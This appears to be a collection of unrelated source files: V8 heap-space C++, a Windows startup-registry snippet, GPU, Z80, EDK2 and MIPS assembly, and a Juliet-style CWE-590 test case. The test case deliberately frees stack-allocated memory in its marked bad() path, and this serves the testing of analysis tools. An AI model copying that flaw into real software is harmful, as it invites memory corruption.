"Code comment statistics (\" [ comment-txt : size/ "
"count (average)\"):\n");
for (int i = 0; i <= CommentStatistic::kMaxComments; i++) {
const CommentStatistic& cs = comments_statistics[i];
if (cs.size > 0) {
PrintF(" %-30s: %10d/%6d (%d)\n", cs.comment, cs.size, cs.count,
cs.size / cs.count);
}
}
PrintF("\n");
}
void PagedSpace::ResetCodeStatistics(Isolate* isolate) {
CommentStatistic* comments_statistics =
isolate->paged_space_comments_statistics();
ClearCodeKindStatistics(isolate->code_kind_statistics());
for (int i = 0; i < CommentStatistic::kMaxComments; i++) {
comments_statistics[i].Clear();
}
comments_statistics[CommentStatistic::kMaxComments].comment = "Unknown";
comments_statistics[CommentStatistic::kMaxComments].size = 0;
comments_statistics[CommentStatistic::kMaxComments].count = 0;
}
// Adds comment to 'comment_statistics' table. Performance OK as long as
// 'kMaxComments' is small
static void EnterComment(Isolate* isolate, const char* comment, int delta) {
CommentStatistic* comments_statistics =
isolate->paged_space_comments_statistics();
// Do not count empty comments
if (delta <= 0) return;
CommentStatistic* cs = &comments_statistics[CommentStatistic::kMaxComments];
// Search for a free or matching entry in 'comments_statistics': 'cs'
// points to result.
for (int i = 0; i < CommentStatistic::kMaxComments; i++) {
if (comments_statistics[i].comment == NULL) {
cs = &comments_statistics[i];
cs->comment = comment;
break;
} else if (strcmp(comments_statistics[i].comment, comment) == 0) {
cs = &comments_statistics[i];
break;
}
}
// Update entry for 'comment'
cs->size += delta;
cs->count += 1;
}
// Call for each nested comment start (start marked with '[ xxx', end marked
// with ']'. RelocIterator 'it' must point to a comment reloc info.
static void CollectCommentStatistics(Isolate* isolate, RelocIterator* it) {
DCHECK(!it->done());
DCHECK(it->rinfo()->rmode() == RelocInfo::COMMENT);
const char* tmp = reinterpret_cast<const char*>(it->rinfo()->data());
if (tmp[0] != '[') {
// Not a nested comment; skip
return;
}
// Search for end of nested comment or a new nested comment
const char* const comment_txt =
reinterpret_cast<const char*>(it->rinfo()->data());
const byte* prev_pc = it->rinfo()->pc();
int flat_delta = 0;
it->next();
while (true) {
// All nested comments must be terminated properly, and therefore exit
// from loop.
DCHECK(!it->done());
if (it->rinfo()->rmode() == RelocInfo::COMMENT) {
const char* const txt =
reinterpret_cast<const char*>(it->rinfo()->data());
flat_delta += static_cast<int>(it->rinfo()->pc() - prev_pc);
if (txt[0] == ']') break; // End of nested comment
// A new comment
CollectCommentStatistics(isolate, it);
// Skip code that was covered with previous comment
prev_pc = it->rinfo()->pc();
}
it->next();
}
EnterComment(isolate, comment_txt, flat_delta);
}
// Collects code size statistics:
// - by code kind
// - by code comment
void PagedSpace::CollectCodeStatistics() {
Isolate* isolate = heap()->isolate();
HeapObjectIterator obj_it(this);
for (HeapObject* obj = obj_it.Next(); obj != NULL; obj = obj_it.Next()) {
if (obj->IsCode()) {
Code* code = Code::cast(obj);
isolate->code_kind_statistics()[code->kind()] += code->Size();
RelocIterator it(code);
int delta = 0;
const byte* prev_pc = code->instruction_start();
while (!it.done()) {
if (it.rinfo()->rmode() == RelocInfo::COMMENT) {
delta += static_cast<int>(it.rinfo()->pc() - prev_pc);
CollectCommentStatistics(isolate, &it);
prev_pc = it.rinfo()->pc();
}
it.next();
}
DCHECK(code->instruction_start() <= prev_pc &&
prev_pc <= code->instruction_end());
delta += static_cast<int>(code->instruction_end() - prev_pc);
EnterComment(isolate, "NoComment", delta);
}
}
}
void PagedSpace::ReportStatistics() {
int pct = static_cast<int>(Available() * 100 / Capacity());
PrintF(" capacity: %" V8_PTR_PREFIX
"d"
", waste: %" V8_PTR_PREFIX
"d"
", available: %" V8_PTR_PREFIX "d, %%%d\n",
Capacity(), Waste(), Available(), pct);
if (heap()->mark_compact_collector()->sweeping_in_progress()) {
heap()->mark_compact_collector()->EnsureSweepingCompleted();
}
ClearHistograms(heap()->isolate());
HeapObjectIterator obj_it(this);
for (HeapObject* obj = obj_it.Next(); obj != NULL; obj = obj_it.Next())
CollectHistogramInfo(obj);
ReportHistogram(heap()->isolate(), true);
}
#endif
// -----------------------------------------------------------------------------
// MapSpace implementation
// TODO(mvstanton): this is weird...the compiler can't make a vtable unless
// there is at least one non-inlined virtual function. I would prefer to hide
// the VerifyObject definition behind VERIFY_HEAP.
void MapSpace::VerifyObject(HeapObject* object) { CHECK(object->IsMap()); }
// -----------------------------------------------------------------------------
// LargeObjectIterator
LargeObjectIterator::LargeObjectIterator(LargeObjectSpace* space) {
current_ = space->first_page_;
size_func_ = NULL;
}
LargeObjectIterator::LargeObjectIterator(LargeObjectSpace* space,
HeapObjectCallback size_func) {
current_ = space->first_page_;
size_func_ = size_func;
}
HeapObject* LargeObjectIterator::Next() {
if (current_ == NULL) return NULL;
HeapObject* object = current_->GetObject();
current_ = current_->next_page();
return object;
}
// -----------------------------------------------------------------------------
// LargeObjectSpace
static bool ComparePointers(void* key1, void* key2) { return key1 == key2; }
LargeObjectSpace::LargeObjectSpace(Heap* heap, intptr_t max_capacity,
AllocationSpace id)
: Space(heap, id, NOT_EXECUTABLE), // Managed on a per-allocation basis
max_capacity_(max_capacity),
first_page_(NULL),
size_(0),
page_count_(0),
objects_size_(0),
chunk_map_(ComparePointers, 1024) {}
bool LargeObjectSpace::SetUp() {
first_page_ = NULL;
size_ = 0;
maximum_committed_ = 0;
page_count_ = 0;
objects_size_ = 0;
chunk_map_.Clear();
return true;
}
void LargeObjectSpace::TearDown() {
while (first_page_ != NULL) {
LargePage* page = first_page_;
first_page_ = first_page_->next_page();
LOG(heap()->isolate(), DeleteEvent("LargeObjectChunk", page->address()));
ObjectSpace space = static_cast<ObjectSpace>(1 << identity());
heap()->isolate()->memory_allocator()->PerformAllocationCallback(
space, kAllocationActionFree, page->size());
heap()->isolate()->memory_allocator()->Free(page);
}
SetUp();
}
AllocationResult LargeObjectSpace::AllocateRaw(int object_size,
Executability executable) {
// Check if we want to force a GC before growing the old space further.
// If so, fail the allocation.
if (!heap()->always_allocate() &&
heap()->OldGenerationAllocationLimitReached()) {
return AllocationResult::Retry(identity());
}
if (!CanAllocateSize(object_size)) return AllocationResult::Retry(identity());
LargePage* page = heap()->isolate()->memory_allocator()->AllocateLargePage(
object_size, this, executable);
if (page == NULL) return AllocationResult::Retry(identity());
DCHECK(page->area_size() >= object_size);
size_ += static_cast<int>(page->size());
objects_size_ += object_size;
page_count_++;
page->set_next_page(first_page_);
first_page_ = page;
if (size_ > maximum_committed_) {
maximum_committed_ = size_;
}
// Register all MemoryChunk::kAlignment-aligned chunks covered by
// this large page in the chunk map.
uintptr_t base = reinterpret_cast<uintptr_t>(page) / MemoryChunk::kAlignment;
uintptr_t limit = base + (page->size() - 1) / MemoryChunk::kAlignment;
for (uintptr_t key = base; key <= limit; key++) {
HashMap::Entry* entry = chunk_map_.LookupOrInsert(
reinterpret_cast<void*>(key), static_cast<uint32_t>(key));
DCHECK(entry != NULL);
entry->value = page;
}
HeapObject* object = page->GetObject();
MSAN_ALLOCATED_UNINITIALIZED_MEMORY(object->address(), object_size);
if (Heap::ShouldZapGarbage()) {
// Make the object consistent so the heap can be verified in OldSpaceStep.
// We only need to do this in debug builds or if verify_heap is on.
reinterpret_cast<Object**>(object->address())[0] =
heap()->fixed_array_map();
reinterpret_cast<Object**>(object->address())[1] = Smi::FromInt(0);
}
heap()->incremental_marking()->OldSpaceStep(object_size);
return object;
}
size_t LargeObjectSpace::CommittedPhysicalMemory() {
if (!base::VirtualMemory::HasLazyCommits()) return CommittedMemory();
size_t size = 0;
LargePage* current = first_page_;
while (current != NULL) {
size += current->CommittedPhysicalMemory();
current = current->next_page();
}
return size;
}
// GC support
Object* LargeObjectSpace::FindObject(Address a) {
LargePage* page = FindPage(a);
if (page != NULL) {
return page->GetObject();
}
return Smi::FromInt(0); // Signaling not found.
}
LargePage* LargeObjectSpace::FindPage(Address a) {
uintptr_t key = reinterpret_cast<uintptr_t>(a) / MemoryChunk::kAlignment;
HashMap::Entry* e = chunk_map_.Lookup(reinterpret_cast<void*>(key),
static_cast<uint32_t>(key));
if (e != NULL) {
DCHECK(e->value != NULL);
LargePage* page = reinterpret_cast<LargePage*>(e->value);
DCHECK(page->is_valid());
if (page->Contains(a)) {
return page;
}
}
return NULL;
}
void LargeObjectSpace::FreeUnmarkedObjects() {
LargePage* previous = NULL;
LargePage* current = first_page_;
while (current != NULL) {
HeapObject* object = current->GetObject();
// Can this large page contain pointers to non-trivial objects. No other
// pointer object is this big.
bool is_pointer_object = object->IsFixedArray();
MarkBit mark_bit = Marking::MarkBitFrom(object);
if (Marking::IsBlackOrGrey(mark_bit)) {
Marking::BlackToWhite(mark_bit);
Page::FromAddress(object->address())->ResetProgressBar();
Page::FromAddress(object->address())->ResetLiveBytes();
previous = current;
current = current->next_page();
} else {
LargePage* page = current;
// Cut the chunk out from the chunk list.
current = current->next_page();
if (previous == NULL) {
first_page_ = current;
} else {
previous->set_next_page(current);
}
// Free the chunk.
heap()->mark_compact_collector()->ReportDeleteIfNeeded(object,
heap()->isolate());
size_ -= static_cast<int>(page->size());
objects_size_ -= object->Size();
page_count_--;
// Remove entries belonging to this page.
// Use variable alignment to help pass length check (<= 80 characters)
// of single line in tools/presubmit.py.
const intptr_t alignment = MemoryChunk::kAlignment;
uintptr_t base = reinterpret_cast<uintptr_t>(page) / alignment;
uintptr_t limit = base + (page->size() - 1) / alignment;
for (uintptr_t key = base; key <= limit; key++) {
chunk_map_.Remove(reinterpret_cast<void*>(key),
static_cast<uint32_t>(key));
}
if (is_pointer_object) {
heap()->QueueMemoryChunkForFree(page);
} else {
heap()->isolate()->memory_allocator()->Free(page);
}
}
}
heap()->FreeQueuedChunks();
}
bool LargeObjectSpace::Contains(HeapObject* object) {
Address address = object->address();
MemoryChunk* chunk = MemoryChunk::FromAddress(address);
bool owned = (chunk->owner() == this);
SLOW_DCHECK(!owned || FindObject(address)->IsHeapObject());
return owned;
}
#ifdef VERIFY_HEAP
// We do not assume that the large object iterator works, because it depends
// on the invariants we are checking during verification.
void LargeObjectSpace::Verify() {
for (LargePage* chunk = first_page_; chunk != NULL;
chunk = chunk->next_page()) {
// Each chunk contains an object that starts at the large object page's
// object area start.
HeapObject* object = chunk->GetObject();
Page* page = Page::FromAddress(object->address());
CHECK(object->address() == page->area_start());
// The first word should be a map, and we expect all map pointers to be
// in map space.
Map* map = object->map();
CHECK(map->IsMap());
CHECK(heap()->map_space()->Contains(map));
// We have only code, sequential strings, external strings
// (sequential strings that have been morphed into external
// strings), fixed arrays, byte arrays, and constant pool arrays in the
// large object space.
CHECK(object->IsCode() || object->IsSeqString() ||
object->IsExternalString() || object->IsFixedArray() ||
object->IsFixedDoubleArray() || object->IsByteArray());
// The object itself should look OK.
object->ObjectVerify();
// Byte arrays and strings don't have interior pointers.
if (object->IsCode()) {
VerifyPointersVisitor code_visitor;
object->IterateBody(map->instance_type(), object->Size(), &code_visitor);
} else if (object->IsFixedArray()) {
FixedArray* array = FixedArray::cast(object);
for (int j = 0; j < array->length(); j++) {
Object* element = array->get(j);
if (element->IsHeapObject()) {
HeapObject* element_object = HeapObject::cast(element);
CHECK(heap()->Contains(element_object));
CHECK(element_object->map()->IsMap());
}
}
}
}
}
#endif
#ifdef DEBUG
void LargeObjectSpace::Print() {
OFStream os(stdout);
LargeObjectIterator it(this);
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
obj->Print(os);
}
}
void LargeObjectSpace::ReportStatistics() {
PrintF(" size: %" V8_PTR_PREFIX "d\n", size_);
int num_objects = 0;
ClearHistograms(heap()->isolate());
LargeObjectIterator it(this);
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
num_objects++;
CollectHistogramInfo(obj);
}
PrintF(
" number of objects %d, "
"size of objects %" V8_PTR_PREFIX "d\n",
num_objects, objects_size_);
if (num_objects > 0) ReportHistogram(heap()->isolate(), false);
}
void LargeObjectSpace::CollectCodeStatistics() {
Isolate* isolate = heap()->isolate();
LargeObjectIterator obj_it(this);
for (HeapObject* obj = obj_it.Next(); obj != NULL; obj = obj_it.Next()) {
if (obj->IsCode()) {
Code* code = Code::cast(obj);
isolate->code_kind_statistics()[code->kind()] += code->Size();
}
}
}
void Page::Print() {
// Make a best-effort to print the objects in the page.
PrintF("Page@%p in %s\n", this->address(),
AllocationSpaceName(this->owner()->identity()));
printf(" --------------------------------------\n");
HeapObjectIterator objects(this, heap()->GcSafeSizeOfOldObjectFunction());
unsigned mark_size = 0;
for (HeapObject* object = objects.Next(); object != NULL;
object = objects.Next()) {
bool is_marked = Marking::IsBlackOrGrey(Marking::MarkBitFrom(object));
PrintF(" %c ", (is_marked ? '!' : ' ')); // Indent a little.
if (is_marked) {
mark_size += heap()->GcSafeSizeOfOldObjectFunction()(object);
}
object->ShortPrint();
PrintF("\n");
}
printf(" --------------------------------------\n");
printf(" Marked: %x, LiveCount: %x\n", mark_size, LiveBytes());
}
#endif // DEBUG
} // namespace internal
} // namespace v8
|
// Example 2: Assign current process to registry (non-elevate)
//... Initializing stuffs
int __cdecl main(int argc, wchar_t* argv[]) {
EnableStartup(L"MyProgramName", "/onboot", L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
return 0;
}
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
(W&~f0.1)jmpi L336
L16:
mov (1|M0) r25.2<1>:f r10.2<0;1,0>:f
mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EB100:ud
mov (1|M0) r16.2<1>:ud 0xD000:ud
send (1|M0) r116:uw r16:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EB301:ud
or (1|M0) r17.7<1>:ud r17.7<0;1,0>:ud 0x8000000:ud
mov (1|M0) r16.2<1>:ud 0xE000:ud
send (1|M0) r120:uw r16:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EB302:ud
mov (1|M0) r16.2<1>:ud 0xE000:ud
send (1|M0) r112:uw r16:ub 0x2 a0.0
mov (16|M0) r124.0<1>:uw 0xFFFF:uw
mov (16|M0) r125.0<1>:uw 0xFFFF:uw
mov (16|M0) r126.0<1>:uw 0xFFFF:uw
mov (16|M0) r127.0<1>:uw 0xFFFF:uw
mov (1|M0) a0.8<1>:uw 0xE00:uw
mov (1|M0) a0.9<1>:uw 0xE80:uw
mov (1|M0) a0.10<1>:uw 0xF00:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x40:uw
L336:
nop
|
; void *b_vector_init_callee(void *p, size_t capacity, size_t max_size)
SECTION code_adt_b_vector
PUBLIC _b_vector_init_callee
_b_vector_init_callee:
pop hl
pop de
pop bc
ex (sp),hl
INCLUDE "adt/b_vector/z80/asm_b_vector_init.asm"
|
SECTION code_fp_math32
PUBLIC l_f32_mul
EXTERN cm32_sccz80_fsmul_callee
defc l_f32_mul = cm32_sccz80_fsmul_callee
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadDr0.Asm
;
; Abstract:
;
; AsmReadDr0 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmReadDr0 (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmReadDr0)
ASM_PFX(AsmReadDr0):
mov eax, dr0
ret
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE590_Free_Memory_Not_on_Heap__delete_struct_alloca_72a.cpp
Label Definition File: CWE590_Free_Memory_Not_on_Heap__delete.pointer.label.xml
Template File: sources-sink-72a.tmpl.cpp
*/
/*
* @description
* CWE: 590 Free Memory Not on Heap
* BadSource: alloca Data buffer is allocated on the stack with alloca()
* GoodSource: Allocate memory on the heap
* Sinks:
* BadSink : Print then free data
* Flow Variant: 72 Data flow: data passed in a vector from one function to another in different source files
*
* */
#include "std_testcase.h"
#include <vector>
#include <wchar.h>
using namespace std;
namespace CWE590_Free_Memory_Not_on_Heap__delete_struct_alloca_72
{
#ifndef OMITBAD
/* bad function declaration */
void badSink(vector<twoIntsStruct *> dataVector);
void bad()
{
twoIntsStruct * data;
vector<twoIntsStruct *> dataVector;
data = NULL; /* Initialize data */
{
/* FLAW: data is allocated on the stack and deallocated in the BadSink */
twoIntsStruct * dataBuffer = (twoIntsStruct *)ALLOCA(sizeof(twoIntsStruct));
dataBuffer->intOne = 1;
dataBuffer->intTwo = 1;
data = dataBuffer;
}
/* Put data in a vector */
dataVector.insert(dataVector.end(), 1, data);
dataVector.insert(dataVector.end(), 1, data);
dataVector.insert(dataVector.end(), 1, data);
badSink(dataVector);
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* good function declarations */
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSink(vector<twoIntsStruct *> dataVector);
static void goodG2B()
{
twoIntsStruct * data;
vector<twoIntsStruct *> dataVector;
data = NULL; /* Initialize data */
{
/* FIX: data is allocated on the heap and deallocated in the BadSink */
twoIntsStruct * dataBuffer = new twoIntsStruct;
dataBuffer->intOne = 1;
dataBuffer->intTwo = 1;
data = dataBuffer;
}
/* Put data in a vector */
dataVector.insert(dataVector.end(), 1, data);
dataVector.insert(dataVector.end(), 1, data);
dataVector.insert(dataVector.end(), 1, data);
goodG2BSink(dataVector);
}
void good()
{
goodG2B();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE590_Free_Memory_Not_on_Heap__delete_struct_alloca_72; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
# Group No. 54
# Assignment: 7
# Problem : 3
# Name : Avijit Mandal
# Roll No. : 18CS30010
# Name : Sumit Kumar Yadav
# Roll No.: 18CS30042
##########Data Segment########################
.data
input: .asciiz "Enter 9 numbers : "
sorted_array: .asciiz "Array in ascending order is : "
key_input: .asciiz "Enter the key :"
error: .asciiz "Number not found!\n"
found: .asciiz "Number found at index: "
white: .asciiz " "
.align 2
array: .space 36
newline: .asciiz "\n"
###########Code Segment#####################
.text
main:
#user to input 9 numbers
li $v0, 4
la $a0, input
syscall
li $v0,4 #print newline
la $a0,newline
syscall
li $t1,1 #initializing t1(i) = 1
la $t3, array #loading address of array in t3
input_array: #Loop to take input from the user
li $v0, 5 #read in user input
syscall
move $t0, $v0 #moving input value to t0
addi $t1, $t1, 1 #increasing t1(i) by 1
sw $t0,($t3) #storing entered value at array[i]
addi $t3,$t3,4 #increasing address of t3 to access next address
bne $t1,10,input_array #get user input up to 9 times
li $a0, 9 #set count arg (length of array)
la $a1, array #load address of array in a1
li $t0, 0
jal insertion_sort #jump to the insertion_sort label
insertion_sort:
beq $t0, $a0, bin_pre #Check if loop has run 9 times
move $t1, $t0 #t1=t0
move $t2, $a1 #assigning current address to t2
move $t3, $a1
jal sorting_loop #jump to the sorting_loop label
sorting_loop:
beq $t1, $a0, swap_value #if inner loop has reached last position
lw $t5, ($t2) #load current max
lw $t6, ($t3) #load current value
blt $t5, $t6 , store #if t5 < t6 store, ascending order
addi $t2, $t2, 4 #increase t2
addi $t1, $t1, 1 #increase inner loop
j sorting_loop #jump to the sorting_loop label
store:
move $t3, $t2 #store address of numbers to be exchanged
addi $t2, $t2, 4 #increase t2
addi $t1, $t1, 1 #increase innerloop
j sorting_loop #jump to the sorting_loop label
swap_value:
lw $t5, ($a1) # t5 = (a1)
lw $t6, ($t3) # t6 = (t3)
sw $t6, ($a1) # (a1) = t6
sw $t5, ($t3) # (t3) = t5
addi $t0, $t0, 1 #increase outer loop
addi $a1, $a1, 4 #increase a1 by 4
j insertion_sort #jump to the insertion_sort label
bin_pre:
la $a0, key_input
li $v0, 4
syscall
li $v0, 5
syscall
add $t7, $zero, $v0
la $s0, array
add $t0, $zero, $zero
addi $t1, $t0, 8
j Binary_search
Binary_search:
bgt $t0, $t1, not_found
add $t2, $t1, $t0
srl $t2, $t2, 1
sll $t5, $t2, 2
add $t5, $t5, $s0
lw $t4, ($t5)
beq $t4, $t7, equal
bgt $t4, $t7, shiftleft
bgt $t7, $t4, shiftright
j exit
not_found:
la $a0, error
li $v0,4
syscall
j exit
shiftleft:
addi $t1, $t2, -1
j Binary_search
shiftright:
addi $t0, $t2, 1
j Binary_search
equal:
la $a0, found
li $v0, 4
syscall
li $v0, 1
move $a0, $t2
syscall
j exit
exit:
li $v0, 10 # end the program
syscall |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.